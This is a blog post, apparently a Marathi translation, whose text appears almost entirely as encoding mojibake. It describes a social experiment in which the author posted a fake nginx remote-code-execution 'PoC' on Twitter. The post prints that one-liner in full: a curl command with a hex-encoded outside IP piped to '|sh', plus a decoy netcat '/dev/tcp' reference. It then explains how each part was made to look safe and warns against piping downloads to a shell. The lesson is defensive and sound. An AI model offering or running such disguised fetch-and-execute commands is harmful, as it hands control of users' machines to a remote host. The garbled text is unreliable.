рдмрдирд╛рд╡рдЯ nginx рд╢реЛрд╖рдгрд╛рд╕рд╣ рд╕рд╛рдорд╛рдЬрд┐рдХ рдкреНрд░рдпреЛрдЧрд╛рдЪреЗ рдпрд╢

рдиреЛрдВрдж. рдЕрдиреБрд╡рд╛рдж: рд▓реЗрдЦрдХ 1 рдЬреВрди рд░реЛрдЬреА рдкреНрд░рдХрд╛рд╢рд┐рдд рдЭрд╛рд▓реЗрд▓реНрдпрд╛ рдореВрд│ рдиреЛрдЯрдиреЗ рдорд╛рд╣рд┐рддреА рд╕реБрд░рдХреНрд╖рд┐рддрддреЗрдордзреНрдпреЗ рд╕реНрд╡рд╛рд░рд╕реНрдп рдЕрд╕рд▓реЗрд▓реНрдпрд╛рдВрдордзреНрдпреЗ рдПрдХ рдкреНрд░рдпреЛрдЧ рдХрд░рдгреНрдпрд╛рдЪреЗ рдард░рд╡рд▓реЗ. рд╣реЗ рдХрд░рдгреНрдпрд╛рд╕рд╛рдареА, рддреНрдпрд╛рдиреЗ рд╡реЗрдм рд╕рд░реНрд╡реНрд╣рд░рдордзреНрдпреЗ рдЕрдЬреНрдЮрд╛рдд рдЕрд╕реБрд░рдХреНрд╖рд┐рддрддреЗрд╕рд╛рдареА рдмрдирд╛рд╡рдЯ рд╢реЛрд╖рдг рддрдпрд╛рд░ рдХреЗрд▓реЗ рдЖрдгрд┐ рддреЗ рддреНрдпрд╛рдЪреНрдпрд╛ рдЯреНрд╡рд┐рдЯрд░рд╡рд░ рдкреЛрд╕реНрдЯ рдХреЗрд▓реЗ. рддреНрдпрд╛рдЪреЗ рдЧреГрд╣рд┐рддрдХ - рддрддреНрдХрд╛рд│ рддрдЬреНрдЮрд╛рдВрджреНрд╡рд╛рд░реЗ рдЙрдШрдб рдХрд░рдгреЗ рдЬреЗ рдХреЛрдбрдордзреНрдпреЗ рд╕реНрдкрд╖реНрдЯ рдлрд╕рд╡рдгреВрдХ рдкрд╛рд╣рддреАрд▓ - рдХреЗрд╡рд│ рдЦрд░реЗ рдард░рд▓реЗ рдирд╛рд╣реАрдд... рддреНрдпрд╛рдВрдиреА рд╕рд░реНрд╡ рдЕрдкреЗрдХреНрд╖рд╛ рдУрд▓рд╛рдВрдбрд▓реНрдпрд╛, рдЖрдгрд┐ рдЙрд▓рдЯ рджрд┐рд╢реЗрдиреЗ: рдЯреНрд╡рд┐рдЯрд▓рд╛ рдЕрд╕рдВрдЦреНрдп рд▓реЛрдХрд╛рдВрдХрдбреВрди рдореЛрдард╛ рдкрд╛рдард┐рдВрдмрд╛ рдорд┐рд│рд╛рд▓рд╛ рдЬреНрдпрд╛рдВрдиреА рд╣реЗ рдХреЗрд▓реЗ рдирд╛рд╣реА. рддреНрдпрд╛рддреАрд▓ рд╕рд╛рдордЧреНрд░реА рддрдкрд╛рд╕рд╛.

рдмрдирд╛рд╡рдЯ nginx рд╢реЛрд╖рдгрд╛рд╕рд╣ рд╕рд╛рдорд╛рдЬрд┐рдХ рдкреНрд░рдпреЛрдЧрд╛рдЪреЗ рдпрд╢

TL;DR: рдХреЛрдгрддреНрдпрд╛рд╣реА рдкрд░рд┐рд╕реНрдерд┐рддреАрдд sh рдХрд┐рдВрд╡рд╛ bash рдордзреНрдпреЗ рдлрд╛рдЗрд▓ рдкрд╛рдЗрдкрд▓рд╛рдЗрдирд┐рдВрдЧ рд╡рд╛рдкрд░реВ рдирдХрд╛. рдЖрдкрд▓реНрдпрд╛ рд╕рдВрдЧрдгрдХрд╛рд╡рд░реАрд▓ рдирд┐рдпрдВрддреНрд░рдг рдЧрдорд╛рд╡рдгреНрдпрд╛рдЪрд╛ рд╣рд╛ рдПрдХ рдЪрд╛рдВрдЧрд▓рд╛ рдорд╛рд░реНрдЧ рдЖрд╣реЗ.

31 рдореЗ рд░реЛрдЬреА рддрдпрд╛рд░ рдХреЗрд▓реЗрд▓реНрдпрд╛ рдХреЙрдорд┐рдХ PoC рд╢реЛрд╖рдгрд╛рдЪреА рдПрдХ рдЫреЛрдЯреА рдХрдерд╛ рдорд▓рд╛ рддреБрдордЪреНрдпрд╛рд╕реЛрдмрдд рд╢реЗрдЕрд░ рдХрд░рд╛рдпрдЪреА рдЖрд╣реЗ. рдХрдбреВрди рдЖрд▓реЗрд▓реНрдпрд╛ рдмрд╛рддрдореНрдпрд╛рдВрдирд╛ рдкреНрд░рддрд┐рд╕рд╛рдж рджреЗрдд рддреЛ рддрд╛рддрдбреАрдиреЗ рд╣рдЬрд░ рдЭрд╛рд▓рд╛ рдЕрд▓рд┐рд╕рд╛ рдПрд╕реЗрдЬ рд╢реЗрд╡рдЪреЗрдиреНрдХреЛ, рд╕рджрд╕реНрдп рдЭрд┐рд░реЛ рдбреЗ рдЗрдирд┐рд╢рд┐рдПрдЯрд┐рд╡реНрд╣ (ZDI), NGINX рдордзреАрд▓ рдЕрд╕реБрд░рдХреНрд╖рд╛ RCE (рд░рд┐рдореЛрдЯ рдХреЛрдб рдПрдХреНрдЭрд┐рдХреНрдпреБрд╢рди) рдмрджреНрджрд▓рдЪреА рдорд╛рд╣рд┐рддреА рд▓рд╡рдХрд░рдЪ рдЙрдШрдб рдХреЗрд▓реА рдЬрд╛рдИрд▓. рдПрдирдЬреАрдЖрдпрдПрдирдПрдХреНрд╕ рдЕрдиреЗрдХ рд╡реЗрдмрд╕рд╛рдЗрдЯреНрд╕рдирд╛ рд╕рд╛рдорд░реНрдереНрдп рджреЗрдд рдЕрд╕рд▓реНрдпрд╛рдиреЗ, рд╣реА рдмрд╛рддрдореА рдмреЙрдореНрдмрд╢реЗрд▓ рдЕрд╕рд╛рд╡реА. рдкрд░рдВрддреБ "рдЬрдмрд╛рдмрджрд╛рд░ рдкреНрд░рдХрдЯреАрдХрд░рдг" рдкреНрд░рдХреНрд░рд┐рдпреЗрдд рд╡рд┐рд▓рдВрдм рдЭрд╛рд▓реНрдпрд╛рдореБрд│реЗ, рдХрд╛рдп рдШрдбрд▓реЗ рдпрд╛рдЪреЗ рддрдкрд╢реАрд▓ рдорд╛рд╣рд┐рдд рдирд╡реНрд╣рддреЗ - рд╣реА рдорд╛рдирдХ ZDI рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдЖрд╣реЗ.

рдмрдирд╛рд╡рдЯ nginx рд╢реЛрд╖рдгрд╛рд╕рд╣ рд╕рд╛рдорд╛рдЬрд┐рдХ рдкреНрд░рдпреЛрдЧрд╛рдЪреЗ рдпрд╢
рдЯреНрд╡рд┐рдЯ NGINX рдордзреНрдпреЗ рднреЗрджреНрдпрддрд╛ рдкреНрд░рдХрдЯреАрдХрд░рдг рдмрджреНрджрд▓

рдХрд░реНрд▓рдордзреНрдпреЗ рдирд╡реАрди рдЕрд╕реНрдкрд╖реНрдЯреАрдХрд░рдг рддрдВрддреНрд░рд╛рд╡рд░ рдХрд╛рдо рдкреВрд░реНрдг рдХреЗрд▓реНрдпрд╛рд╡рд░, рдореА рдореВрд│ рдЯреНрд╡рд┐рдЯ рдЙрджреНрдзреГрдд рдХреЗрд▓реЗ рдЖрдгрд┐ рд╢реЛрдзрд▓реЗрд▓реНрдпрд╛ рднреЗрджреНрдпрддреЗрдЪрд╛ рдЧреИрд░рдлрд╛рдпрджрд╛ рдШреЗрдгрд╛рд░реНтАНрдпрд╛ рдХреЛрдбрдЪреНрдпрд╛ рдПрдХрд╛ рдУрд│реАрдЪрд╛ рд╕рдорд╛рд╡реЗрд╢ рдЕрд╕рд▓реЗрд▓реЗ тАЬрдХрд╛рд░реНрдпрд░рдд PoC рд▓реАрдХ рдХреЗрд▓реЗтАЭ. рдЕрд░реНрдерд╛рдд рд╣рд╛ рдкреВрд░реНрдг рдореВрд░реНрдЦрдкрдгрд╛ рд╣реЛрддрд╛. рдореА рдЕрд╕реЗ рдЧреГрд╣реАрдд рдзрд░рд▓реЗ рдХреА рдореА рддрд╛рдмрдбрддреЛрдм рдЙрдШрдбрдХреАрд╕ рдпреЗрдИрди, рдЖрдгрд┐ рд╕рд░реНрд╡реЛрддреНрддрдо рдорд▓рд╛ рджреЛрди рд░реАрдЯреНрд╡рд┐рдЯреНрд╕ рдорд┐рд│рддреАрд▓ (рдУрд╣ рдЪрд╛рдВрдЧрд▓реЗ).

рдмрдирд╛рд╡рдЯ nginx рд╢реЛрд╖рдгрд╛рд╕рд╣ рд╕рд╛рдорд╛рдЬрд┐рдХ рдкреНрд░рдпреЛрдЧрд╛рдЪреЗ рдпрд╢
рдЯреНрд╡рд┐рдЯ рдмрдирд╛рд╡рдЯ рд╢реЛрд╖рдг рд╕рд╣

рдорд╛рддреНрд░, рдкреБрдвреЗ рдХрд╛рдп рдЭрд╛рд▓реЗ рдпрд╛рдЪреА рдХрд▓реНрдкрдирд╛рдЪ рдХрд░рддрд╛ рдпреЗрдд рдирд╡реНрд╣рддреА. рдорд╛рдЭреНрдпрд╛ рдЯреНрд╡рд┐рдЯрдЪреА рд▓реЛрдХрдкреНрд░рд┐рдпрддрд╛ рдЧрдЧрдирд╛рд▓рд╛ рднрд┐рдбрд▓реА. рдЖрд╢реНрдЪрд░реНрдпрд╛рдЪреА рдЧреЛрд╖реНрдЯ рдореНрд╣рдгрдЬреЗ, рдпрд╛ рдХреНрд╖рдгреА (15:00 рдореЙрд╕реНрдХреЛ рд╡реЗрд│ 1 рдЬреВрди) рдХрд╛рд╣реА рд▓реЛрдХрд╛рдВрдирд╛ рд╣реЗ рд╕рдордЬрд▓реЗ рдЖрд╣реЗ рдХреА рд╣реЗ рдмрдирд╛рд╡рдЯ рдЖрд╣реЗ. рдмрд░реЗрдЪ рд▓реЛрдХ рддреЗ рдЕрдЬрд┐рдмрд╛рдд рди рддрдкрд╛рд╕рддрд╛ рд░рд┐рдЯреНрд╡рд┐рдЯ рдХрд░рддрд╛рдд (рдЖрдКрдЯрдкреБрдЯ рдХреЗрд▓реЗрд▓реНрдпрд╛ рд╕реБрдВрджрд░ ASCII рдЧреНрд░рд╛рдлрд┐рдХреНрд╕рдЪреА рдкреНрд░рд╢рдВрд╕рд╛ рдХрд░реВ рджреНрдпрд╛).

рдмрдирд╛рд╡рдЯ nginx рд╢реЛрд╖рдгрд╛рд╕рд╣ рд╕рд╛рдорд╛рдЬрд┐рдХ рдкреНрд░рдпреЛрдЧрд╛рдЪреЗ рдпрд╢
рдлрдХреНрдд рддреЗ рдХрд┐рддреА рд╕реБрдВрджрд░ рдЖрд╣реЗ рддреЗ рдкрд╣рд╛!

рд╣реЗ рд╕рд░реНрд╡ рд▓реВрдк рдЖрдгрд┐ рд░рдВрдЧ рдЫрд╛рди рдЖрд╣реЗрдд, рд╣реЗ рд╕реНрдкрд╖реНрдЯ рдЖрд╣реЗ рдХреА рд▓реЛрдХрд╛рдВрдирд╛ рддреЗ рдкрд╛рд╣рдгреНрдпрд╛рд╕рд╛рдареА рддреНрдпрд╛рдВрдЪреНрдпрд╛ рдорд╢реАрдирд╡рд░ рдХреЛрдб рдЪрд╛рд▓рд╡рд╛рд╡рд╛ рд▓рд╛рдЧрд▓рд╛. рд╕реБрджреИрд╡рд╛рдиреЗ, рдмреНрд░рд╛рдЙрдЭрд░ рддрд╢рд╛рдЪ рдкреНрд░рдХрд╛рд░реЗ рдХрд╛рд░реНрдп рдХрд░рддрд╛рдд рдЖрдгрд┐ рдорд▓рд╛ рдЦрд░реЛрдЦрд░ рдХрд╛рдпрджреЗрд╢реАрд░ рдЕрдбрдЪрдгреАрдд рдкрдбрд╛рдпрдЪреЗ рдирд╡реНрд╣рддреЗ рдпрд╛ рд╡рд╕реНрддреБрд╕реНрдерд┐рддреАрд╕рд╣, рдорд╛рдЭреНрдпрд╛ рд╕рд╛рдЗрдЯрд╡рд░ рдкреБрд░рд▓реЗрд▓рд╛ рдХреЛрдб рдХреЛрдгрддрд╛рд╣реА рдЕрддрд┐рд░рд┐рдХреНрдд рдХреЛрдб рд╕реНрдерд╛рдкрд┐рдд рдХрд┐рдВрд╡рд╛ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рд┐рдд рдХрд░рдгреНрдпрд╛рдЪрд╛ рдкреНрд░рдпрддреНрди рди рдХрд░рддрд╛ рдлрдХреНрдд рдЗрдХреЛ рдХреЙрд▓ рдХрд░рдд рд╣реЛрддрд╛.

рд▓рд╣рд╛рди рд╡рд┐рд╖рдпрд╛рдВрддрд░: рдиреЗрдЯрд╕реНрдкреВрдХреА, рдореНрд╣рдгрдЬреЗрдЪ, рдореА рдЖрдгрд┐ рд╕рдВрдШрд╛рддреАрд▓ рдЗрддрд░ рдореБрд▓реЗ рдЧреБрдВрдбрд╛рдВрдЪреА рдЧрд░реНрджреА рдЖрдореНрд╣реА рдХрд╛рд╣реА рдХрд╛рд│ рдХрд░реНрд▓ рдХрдорд╛рдВрдбреНрд╕ рдЕрд╕реНрдкрд╖реНрдЯ рдХрд░рдгреНрдпрд╛рд╕рд╛рдареА рд╡реЗрдЧрд╡реЗрдЧрд│реНрдпрд╛ рдорд╛рд░реНрдЧрд╛рдВрдиреА рдЦреЗрд│рдд рдЖрд╣реЛрдд рдХрд╛рд░рдг рддреЗ рдЫрд╛рди рдЖрд╣реЗ... рдЖрдгрд┐ рдЖрдореНрд╣реА рдЧреАрдХреНрд╕ рдЖрд╣реЛрдд. netspooky рдЖрдгрд┐ dnz рдиреЗ рдЕрдиреЗрдХ рдирд╡реАрди рдкрджреНрдзрддреА рд╢реЛрдзрд▓реНрдпрд╛ рдЬреНрдпрд╛ рдорд▓рд╛ рдЕрддреНрдпрдВрдд рдЖрд╢рд╛рджрд╛рдпрдХ рд╡рд╛рдЯрд▓реНрдпрд╛. рдореА рдордЬреЗрдд рд╕рд╛рдореАрд▓ рдЭрд╛рд▓реЛ рдЖрдгрд┐ рдпреБрдХреНрддреНрдпрд╛рдВрдЪреНрдпрд╛ рдмреЕрдЧрдордзреНрдпреЗ IP рджрд╢рд╛рдВрд╢ рд░реВрдкрд╛рдВрддрд░рдгреЗ рдЬреЛрдбрдгреНрдпрд╛рдЪрд╛ рдкреНрд░рдпрддреНрди рдХреЗрд▓рд╛. рдЕрд╕реЗ рджрд┐рд╕реВрди рдЖрд▓реЗ рдХреА рдЖрдпрдкреА рд╣реЗрдХреНрд╕рд╛рдбреЗрд╕рд┐рдорд▓ рд╕реНрд╡рд░реВрдкрд╛рдд рд░реВрдкрд╛рдВрддрд░рд┐рдд рдХреЗрд▓реЗ рдЬрд╛рдК рд╢рдХрддреЗ. рд╢рд┐рд╡рд╛рдп, рдХрд░реНрд▓ рдЖрдгрд┐ рдЗрддрд░ NIX рд╕рд╛рдзрдиреЗ рдЖрдирдВрджрд╛рдиреЗ рд╣реЗрдХреНрд╕рд╛рдбреЗрд╕рд┐рдорд▓ рдЖрдпрдкреА рдЦрд╛рддрд╛рдд! рддреНрдпрд╛рдореБрд│реЗ рдПрдХ рдЦрд╛рддреНрд░реАрд╢реАрд░ рдЖрдгрд┐ рд╕реБрд░рдХреНрд╖рд┐рдд рджрд┐рд╕рдгрд╛рд░реА рдХрдорд╛рдВрдб рд▓рд╛рдЗрди рддрдпрд╛рд░ рдХрд░рдгреНрдпрд╛рдЪреА рд╣реА рдмрд╛рдм рд╣реЛрддреА. рд╢реЗрд╡рдЯреА рдореА рдпрд╛рд╡рд░ рд╕реЗрдЯрд▓ рдЭрд╛рд▓реЛ:

curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../../%00/nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost

рд╕рд╛рдорд╛рдЬрд┐рдХ-рдЗрд▓реЗрдХреНрдЯреНрд░реЙрдирд┐рдХ рдЕрднрд┐рдпрд╛рдВрддреНрд░рд┐рдХреА (SEE) - рдлрдХреНрдд рдлрд┐рд╢рд┐рдВрдЧрдкреЗрдХреНрд╖рд╛ рдЕрдзрд┐рдХ

рд╕реБрд░рдХреНрд╖рд┐рддрддрд╛ рдЖрдгрд┐ рдкрд░рд┐рдЪрд┐рддрддрд╛ рд╣рд╛ рдпрд╛ рдкреНрд░рдпреЛрдЧрд╛рдЪрд╛ рдкреНрд░рдореБрдЦ рднрд╛рдЧ рд╣реЛрддрд╛. рдорд▓рд╛ рд╡рд╛рдЯрддреЗ рдХреА рддреЗрдЪ рддреНрдпрд╛рдЪреНрдпрд╛ рдпрд╢рд╛рдЪреЗ рдиреЗрддреГрддреНрд╡ рдХрд░рддрд╛рдд. рдХрдорд╛рдВрдб рд▓рд╛рдЗрди рд╕реНрдкрд╖реНрдЯрдкрдгреЗ "127.0.0.1" (рд╕реБрдкреНрд░рд╕рд┐рджреНрдз рд▓реЛрдХрд▓рд╣реЛрд╕реНрдЯ) рдЪрд╛ рд╕рдВрджрд░реНрдн рджреЗрдКрди рд╕реБрд░рдХреНрд╖рд┐рддрддрд╛ рд╕реВрдЪрд┐рдд рдХрд░рддреЗ. рд▓реЛрдХрд▓рд╣реЛрд╕реНрдЯ рд╕реБрд░рдХреНрд╖рд┐рдд рдорд╛рдирд▓рд╛ рдЬрд╛рддреЛ рдЖрдгрд┐ рддреНрдпрд╛рд╡рд░реАрд▓ рдбреЗрдЯрд╛ рдХрдзреАрд╣реА рдЖрдкрд▓реНрдпрд╛ рд╕рдВрдЧрдгрдХрд╛рд╡рд░ рдЬрд╛рдд рдирд╛рд╣реА.

рдкрд░рд┐рдЪрдп рд╣рд╛ рдкреНрд░рдпреЛрдЧрд╛рдЪрд╛ рджреБрд╕рд░рд╛ рдкреНрд░рдореБрдЦ SEE рдШрдЯрдХ рд╣реЛрддрд╛. рд▓рдХреНрд╖реНрдпрд┐рдд рдкреНрд░реЗрдХреНрд╖рдХ рдкреНрд░рд╛рдореБрдЦреНрдпрд╛рдиреЗ рд╕рдВрдЧрдгрдХ рд╕реБрд░рдХреНрд╖рд┐рддрддреЗрдЪреНрдпрд╛ рдореВрд▓рднреВрдд рдЧреЛрд╖реНрдЯреАрдВрд╢реА рдкрд░рд┐рдЪрд┐рдд рдЕрд╕рд▓реЗрд▓реНрдпрд╛ рд▓реЛрдХрд╛рдВрдЪрд╛ рд╕рдорд╛рд╡реЗрд╢ рдЕрд╕рд▓реНрдпрд╛рдиреЗ, рдХреЛрдб рддрдпрд╛рд░ рдХрд░рдгреЗ рдорд╣рддреНрддреНрд╡рд╛рдЪреЗ рд╣реЛрддреЗ рдЬреЗрдгреЗрдХрд░реВрди рддреНрдпрд╛рддреАрд▓ рдХрд╛рд╣реА рднрд╛рдЧ рдкрд░рд┐рдЪрд┐рдд рдЖрдгрд┐ рдкрд░рд┐рдЪрд┐рдд рд╡рд╛рдЯрддреАрд▓ (рдЖрдгрд┐ рдореНрд╣рдгреВрди рд╕реБрд░рдХреНрд╖рд┐рдд). рдЬреБрдиреНрдпрд╛ рд╢реЛрд╖рдг рд╕рдВрдХрд▓реНрдкрдирд╛рдВрдЪреЗ рдШрдЯрдХ рдЙрдзрд╛рд░ рдШреЗрдгреЗ рдЖрдгрд┐ рддреНрдпрд╛рдВрдирд╛ рдЕрд╕рд╛рдорд╛рдиреНрдп рдкрджреНрдзрддреАрдиреЗ рдПрдХрддреНрд░ рдХрд░рдгреЗ рдЦреВрдк рдпрд╢рд╕реНрд╡реА рдард░рд▓реЗ рдЖрд╣реЗ.

рдЦрд╛рд▓реА рд╡рди-рд▓рд╛рдЗрдирд░рдЪреЗ рддрдкрд╢реАрд▓рд╡рд╛рд░ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдЖрд╣реЗ. рдпрд╛ рдпрд╛рджреАрддреАрд▓ рдкреНрд░рддреНрдпреЗрдХ рдЧреЛрд╖реНрдЯ рдкрд░рд┐рдзрд╛рди рдХрд░рддреЗ рдХреЙрд╕реНрдореЗрдЯрд┐рдХ рдирд┐рд╕рд░реНрдЧ, рдЖрдгрд┐ рддреНрдпрд╛рдЪреНрдпрд╛ рд╡рд╛рд╕реНрддрд╡рд┐рдХ рдСрдкрд░реЗрд╢рдирд╕рд╛рдареА рд╡реНрдпрд╛рд╡рд╣рд╛рд░рд┐рдХрджреГрд╖реНрдЯреНрдпрд╛ рдХрд╛рд╣реАрд╣реА рдЖрд╡рд╢реНрдпрдХ рдирд╛рд╣реА.

рдХреЛрдгрддреЗ рдШрдЯрдХ рдЦрд░реЛрдЦрд░ рдЖрд╡рд╢реНрдпрдХ рдЖрд╣реЗрдд? рдпрд╛ -gsS, -O 0x0238f06a, |sh рдЖрдгрд┐ рд╡реЗрдм рд╕рд░реНрд╡реНрд╣рд░ рд╕реНрд╡рддрдГ. рд╡реЗрдм рд╕рд░реНрд╡реНрд╣рд░рдордзреНрдпреЗ рдХреЛрдгрддреАрд╣реА рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рд╕реВрдЪрдирд╛ рдирд╡реНрд╣рддреА, рдкрд░рдВрддреБ рдлрдХреНрдд рдХрдорд╛рдВрдб рд╡рд╛рдкрд░реВрди ASCII рдЧреНрд░рд╛рдлрд┐рдХреНрд╕ рджрд┐рд▓реЗ echo рдордзреНрдпреЗ рд╕рдорд╛рд╡рд┐рд╖реНрдЯ рдЕрд╕рд▓реЗрд▓реНрдпрд╛ рд╕реНрдХреНрд░рд┐рдкреНрдЯрдордзреНрдпреЗ index.html. рд╡рд╛рдкрд░рдХрд░реНрддреНрдпрд╛рдиреЗ рд╕рд╣ рдПрдХ рдУрд│ рдкреНрд░рд╡рд┐рд╖реНрдЯ рдХреЗрд▓реА рддреЗрд╡реНрд╣рд╛ |sh рдордзреНрдпреЗ, index.html рд▓реЛрдб рдХреЗрд▓реЗ рдЖрдгрд┐ рдЕрдВрдорд▓рд╛рдд рдЖрдгрд▓реЗ. рд╕реБрджреИрд╡рд╛рдиреЗ, рд╡реЗрдм рд╕рд░реНрд╡реНрд╣рд░рдЪреНрдпрд╛ рд╕рдВрд░рдХреНрд╖рдХрд╛рдВрдЪрд╛ рдХреЛрдгрддрд╛рд╣реА рд╡рд╛рдИрдЯ рд╣реЗрддреВ рдирд╡реНрд╣рддрд╛.

  • ../../../%00 тАФ рдирд┐рд░реНрджреЗрд╢рд┐рдХреЗрдЪреНрдпрд╛ рдкрд▓реАрдХрдбреЗ рдЬрд╛рдгреНрдпрд╛рдЪреЗ рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ рдХрд░рддреЗ;
  • ngx_stream_module.so тАФ рдпрд╛рджреГрдЪреНрдЫрд┐рдХ NGINX рдореЙрдбреНрдпреВрд▓рдЪрд╛ рдорд╛рд░реНрдЧ;
  • /bin/sh%00<'protocol:TCP' - рдЖрдореНрд╣реА рдХрдерд┐рддрдкрдгреЗ рд▓реЙрдиреНрдЪ рдХрд░рдд рдЖрд╣реЛрдд /bin/sh рд▓рдХреНрд╖реНрдп рдорд╢реАрдирд╡рд░ рдЖрдгрд┐ рдЖрдЙрдЯрдкреБрдЯ TCP рдЪреЕрдиреЗрд▓рд╡рд░ рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢рд┐рдд рдХрд░рд╛;
  • -O 0x0238f06a#PLToffset - рдЧреБрдкреНрдд рдШрдЯрдХ, рдкреВрд░рдХ #PLToffset, PLT рдордзреНрдпреЗ рд╕рдорд╛рд╡рд┐рд╖реНрдЯ рдЕрд╕рд▓реЗрд▓реНрдпрд╛ рдореЗрдорд░реА рдСрдлрд╕реЗрдЯрд╕рд╛рд░рдЦреЗ рджрд┐рд╕рдгреНрдпрд╛рд╕рд╛рдареА;
  • |sh; - рдЖрдгрдЦреА рдПрдХ рдорд╣рддреНрддреНрд╡рд╛рдЪрд╛ рддреБрдХрдбрд╛. рдпреЗрдереЗ рд╕реНрдерд┐рдд рдЕрдЯреЕрдХрд┐рдВрдЧ рд╡реЗрдм рд╕рд░реНрд╡реНрд╣рд░рд╡рд░реВрди рдпреЗрдгрд╛рд░рд╛ рдХреЛрдб рдХрд╛рд░реНрдпрд╛рдиреНрд╡рд┐рдд рдХрд░рдгреНрдпрд╛рд╕рд╛рдареА рдЖрдореНрд╣рд╛рд▓рд╛ рдЖрдЙрдЯрдкреБрдЯ sh/bash рд╡рд░ рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢рд┐рдд рдХрд░рдгреЗ рдЖрд╡рд╢реНрдпрдХ рдЖрд╣реЗ. 0x0238f06a (2.56.240.x);
  • nc /dev/tcp/localhost - рдПрдХ рдбрдореА рдЬреНрдпрд╛рдордзреНрдпреЗ рдиреЗрдЯрдХреЕрдЯрдЪрд╛ рд╕рдВрджрд░реНрдн рдЖрд╣реЗ /dev/tcp/localhostрдЬреЗрдгреЗрдХрд░реВрди рд╕рд░реНрд╡рдХрд╛рд╣реА рдкреБрдиреНрд╣рд╛ рд╕реБрд░рдХреНрд╖рд┐рдд рджрд┐рд╕реЗрд▓. рдЦрд░рдВ рддрд░, рддреЗ рдХрд╛рд╣реАрд╣реА рдХрд░рдд рдирд╛рд╣реА рдЖрдгрд┐ рд╕реМрдВрджрд░реНрдпрд╛рд╕рд╛рдареА рдУрд│реАрдд рд╕рдорд╛рд╡рд┐рд╖реНрдЯ рдЖрд╣реЗ.

рд╣реЗ рдПрдХ-рд▓рд╛рдЗрди рд╕реНрдХреНрд░рд┐рдкреНрдЯрдЪреЗ рдбреАрдХреЛрдбрд┐рдВрдЧ рдЖрдгрд┐ "рд╕реЛрд╢рд┐рдпреЛ-рдЗрд▓реЗрдХреНрдЯреНрд░реЙрдирд┐рдХ рдЗрдВрдЬрд┐рдирд┐рдЕрд░рд┐рдВрдЧ" (рдХреНрд▓рд┐рд╖реНрдЯ рдлрд┐рд╢рд┐рдВрдЧ) рдЪреНрдпрд╛ рдкреИрд▓реВрдВрдЪреНрдпрд╛ рдЪрд░реНрдЪреЗрдЪрд╛ рдирд┐рд╖реНрдХрд░реНрд╖ рдХрд╛рдврддреЗ.

рд╡реЗрдм рд╕рд░реНрд╡реНрд╣рд░ рдХреЙрдиреНрдлрд┐рдЧрд░реЗрд╢рди рдЖрдгрд┐ рдХрд╛рдЙрдВрдЯрд░рдореЗрдЬрд░реНрд╕

рдорд╛рдЭреЗ рдмрд╣реБрд╕рдВрдЦреНрдп рд╕рджрд╕реНрдп рдЗрдиреНрдлреЛрд╕реЗрдХ/рд╣реЕрдХрд░реНрд╕ рдЕрд╕рд▓реНрдпрд╛рдиреЗ, рдореА рд╡реЗрдм рд╕рд░реНрд╡реНрд╣рд░рд▓рд╛ рддреНрдпрд╛рдВрдЪреНрдпрд╛рдХрдбреВрди "рд╕реНрд╡рд╛рд░рд╕реНрдп" рдЪреНрдпрд╛ рдЕрднрд┐рд╡реНрдпрдХреНрддреАрдВрдирд╛ рдереЛрдбреЗ рдЕрдзрд┐рдХ рдкреНрд░рддрд┐рд░реЛрдзрдХ рдмрдирд╡рд┐рдгреНрдпрд╛рдЪрд╛ рдирд┐рд░реНрдгрдп рдШреЗрддрд▓рд╛, рдЬреЗрдгреЗрдХрд░реВрди рддреНрдпрд╛ рдореБрд▓рд╛рдВрдиреА рдХрд╛рд╣реАрддрд░реА рдХрд░рд╛рд╡реЗ (рдЖрдгрд┐ рддреЗ рдордЬреЗрджрд╛рд░ рдЕрд╕реЗрд▓. рд╕реЗрдЯ рдХрд░рд╛). рдкреНрд░рдпреЛрдЧ рдЕрдЬреВрдирд╣реА рдЪрд╛рд▓реВ рдЕрд╕рд▓реНрдпрд╛рдиреЗ рдореА рдпреЗрдереЗ рд╕рд░реНрд╡ рддреНрд░реБрдЯреАрдВрдЪреА рдпрд╛рджреА рдХрд░рдгрд╛рд░ рдирд╛рд╣реА, рдкрд░рдВрддреБ рд╕рд░реНрд╡реНрд╣рд░ рдХрд░рдд рдЕрд╕рд▓реЗрд▓реНрдпрд╛ рдХрд╛рд╣реА рдЧреЛрд╖реНрдЯреА рдпреЗрдереЗ рдЖрд╣реЗрдд:

  • рдХрд╛рд╣реА рд╕реЛрд╢рд▓ рдиреЗрдЯрд╡рд░реНрдХреНрд╕рд╡рд░ рд╡рд┐рддрд░рдгрд╛рдЪреНрдпрд╛ рдкреНрд░рдпрддреНрдирд╛рдВрдЪреЗ рд╕рдХреНрд░рд┐рдпрдкрдгреЗ рдирд┐рд░реАрдХреНрд╖рдг рдХрд░рддреЗ рдЖрдгрд┐ рд╡рд╛рдкрд░рдХрд░реНрддреНрдпрд╛рд▓рд╛ рд▓рд┐рдВрдХрд╡рд░ рдХреНрд▓рд┐рдХ рдХрд░рдгреНрдпрд╛рд╕ рдкреНрд░реЛрддреНрд╕рд╛рд╣рд┐рдд рдХрд░рдгреНрдпрд╛рд╕рд╛рдареА рд╡рд┐рд╡рд┐рдз рдкреВрд░реНрд╡рд╛рд╡рд▓реЛрдХрди рд▓рдШреБрдкреНрд░рддрд┐рдорд╛ рдмрджрд▓рддреЗ.
  • рд╢реЗрд▓ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рджрд╛рдЦрд╡рдгреНрдпрд╛рдРрд╡рдЬреА Chrome/Mozilla/Safari/etc рд▓рд╛ Thugcrowd рдкреНрд░рдЪрд╛рд░рд╛рддреНрдордХ рд╡реНрд╣рд┐рдбрд┐рдУрд╡рд░ рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢рд┐рдд рдХрд░рддреЗ.
